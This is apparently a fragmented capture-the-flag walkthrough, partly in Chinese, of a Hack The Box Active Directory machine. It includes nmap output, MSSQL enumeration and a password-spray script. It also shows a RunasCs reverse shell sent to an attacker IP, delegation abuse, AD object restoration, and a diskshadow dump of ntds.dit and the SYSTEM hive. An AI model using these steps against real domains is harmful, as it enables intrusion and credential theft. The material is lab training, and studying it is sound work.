[WEB] 80/tcp open http syn-ack ttl 127 nginx 1.25.5 |_http-title: 503 Service Temporarily Unavailable | http-methods: |_ Supported Methods: GET POST OPTIONS |_http-server-header: nginx/1.25.5
[WINRPC] 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
[LDAP] 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name) 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open tcpwrapped syn-ack ttl 127 3269/tcp open tcpwrapped syn-ack ttl 127
[KERBEROS] 88/tcp open kerberos syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127
[WINRM] 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found
=================================================================================================================== 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49671/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49672/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49701/tcp open tcpwrapped syn-ack ttl 127 Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Note: After creating your employer account, your account will be inactive until our team reviews your account details and contacts you by email to activate your account.
查詢登陸的權限： $ select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
返回： login login_type password_hash create_date modify_date status Freelancer_webapp_user SQL_LOGIN null 2023-09-21T01:24:01.543 2023-09-21T02:49:15.780 Enabled sa SQL_LOGIN null 2003-04-08T09:10:35.460 2023-10-28T18:03:08.083 Enabled
查詢我這個用戶有沒有什麽特殊的權限： SELECT * FROM fn_my_permissions(NULL, 'SERVER');
返回： entity_name subentity_name permission_name server CONNECT SQL server VIEW ANY DATABASE
實際上你可以看到這個用戶就是一個普通的權限，沒有什麽特別的地方。
既然是普通的權限就肯定沒有辦法開啓 xp_cmdshell ，然後看了一下hacktricks：
Impersonation of other users
SQL Server has a special permission, named MPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.
从 SQL Server 2005 开始，sa login 的默认数据库是 master，并且是 sysadmin 角色的成员，因此 sa login 拥有服务器的最高权限，并且权限不能被限制。虽然 sa login 不能被删除，但是可以禁用。一旦 sa 被禁用，任何人都无法使用 sa login 来管理 SQL Server 实例。
$ rlwrap nc -lvnp 1000 Listening on 0.0.0.0 1000 Connection received on 10.129.34.78 54268 Microsoft Windows [Version 10.0.17763.5830] (c) 2018 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32>whoami whoami freelancer\mikasaackerman C:\WINDOWS\system32>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\Users\mikasaAckerman>tree /f /a tree /f /a Folder PATH listing Volume serial number is 8954-28AE C:. +---3D Objects +---Contacts +---Desktop | mail.txt | MEMORY.7z | user.txt | +---Documents | \---WindowsPowerShell +---Downloads +---Favorites +---Links +---Music +---Pictures +---Saved Games +---Searches \---Videos
有一個 mail.txt，
1 2 3 4 5
Hello Mikasa, I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019. I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart. Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue. Best regards,
users = [] withopen("user.txt",'r') as f: users = f.read().splitlines() print(users)
withopen("brutepass.txt", "w") as save: for user in users: for x inrange(0,99): passwd = "v3ryS0l!dP@sswd#" + "%02d" % x save.write(user + ":" + passwd + "\n")
.\_RunasCs.exe evelyn.adams v3ryS0l!dP@sswd#35 cmd.exe -r 10.10.16.6:1000 --bypass-uac [*] Warning: User profile directory for user evelyn.adams does not exists. Use --force-profile if you want to force the creation.
[+] Running in session 0 with process function CreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-f8d1f9$\Default [+] Async process 'C:\WINDOWS\system32\cmd.exe' with pid 1400 created in background.
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] MANEPC$ can now impersonate users on dc$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] MANEPC$ (S-1-5-21-3542429192-2036945976-3483670807-11603)
User Name SID =================== ============================================== freelancer\lorra199 S-1-5-21-3542429192-2036945976-3483670807-1116
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group FREELANCER\AD Recycle Bin Group S-1-5-21-3542429192-2036945976-3483670807-1164 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\lorra199\Documents> Get-ADObject-Filter'samaccountname -eq "liza.kazanof"'-IncludeDeletedObjects | Restore-ADObject An attempt was made to add an object to the directory with a name that is already in use At line:1 char:84 + ... untname -eq"liza.kazanof"' -IncludeDeletedObjects | Restore-ADObject + ~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (CN=Liza Kazanof...eelancer,DC=htb:ADObject) [Restore-ADObject], ADException + FullyQualifiedErrorId : 0,Microsoft.ActiveDirectory.Management.Commands.RestoreADObject *Evil-WinRM* PS C:\Users\lorra199\Documents> ^[[A*Evil-WinRM* PS C:\Users\lorra199\Documents> *Evil-WinRM* PS C:\Users\lorra199\Documents> Get-ADObject -Filter 'samaccountname -eq"liza.kazanof"' -IncludeDeletedObjects | Restore-ADObject -NewName liza.kazanofmane *Evil-WinRM* PS C:\Users\lorra199\Documents> net user User accounts for \\ ------------------------------------------------------------------------------- Administrator alex.hill carol.poland d.jones dthomas ereed Ethan.l evelyn.adams Guest hking jen.brown jgreen jmartinez krbtgt leon.sk liza.kazanof lkazanof lorra199 maya.artmes michael.williams mikasaAckerman olivia.garcia samuel.turner sdavis sophia.h sql_svc SQLBackupOperator sshd taylor wwalker The command completed with one or more errors. *Evil-WinRM* PS C:\Users\lorra199\Documents> net user liza.kazanof User name liza.kazanof Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set5/14/20246:37:29 PM Password expires 6/25/20246:37:29 PM Password changeable 5/15/20246:37:29 PM Password required Yes User may change password Yes
Workstations allowed All Logon script User profile Home directory Last logon Never
Logon hours allowed All
Local Group Memberships *Backup Operators *Remote Management Use Global Group memberships *Domain Users The command completed successfully.
結果可以還原成功，但是還原是有次數限制的，如果你出現 Access is denied ，那麽可以重設機器了。
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\mane> diskshadow /s C:\mane\vss.dsh Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC, 6/6/20245:53:06 PM
-> set context persistent nowriters -> set metadata c:\\programdata\\test.cab -> set verbose on -> add volume c: alias test -> create
Alias test for shadow ID {af230705-f143-4adc-b675-705e6094b048} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {ee9beaeb-ea76-44f9-af4a-7820af120ce0} set as environment variable. Inserted file Manifest.xml into .cab file test.cab Inserted file DisBED6.tmp into .cab file test.cab
Querying all shadow copies with the shadow copyset ID {ee9beaeb-ea76-44f9-af4a-7820af120ce0}
* Shadow copy ID = {af230705-f143-4adc-b675-705e6094b048} %test% - Shadow copyset: {ee9beaeb-ea76-44f9-af4a-7820af120ce0} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{011d3cdb-0000-0000-0000-602200000000}\ [C:\] - Creation time: 6/6/20245:53:07 PM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 - Originating machine: DC.freelancer.htb - Service machine: DC.freelancer.htb - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1 -> expose %test% z: -> %test% = {af230705-f143-4adc-b675-705e6094b048} The shadow copy was successfully exposed as z:\. -> *Evil-WinRM* PS C:\mane> Copy-FileSeBackupPrivilege z:\\Windows\\ntds\\ntds.dit c:\mane\ntds.dit *Evil-WinRM* PS C:\mane> reg save HKLM\SYSTEM C:\mane\SYSTEM The operation completed successfully. *Evil-WinRM* PS C:\mane> dir
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程，這對初學者來説是很友好的。 （建議先完成 INTRODUCTION TO ACADEMY）
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
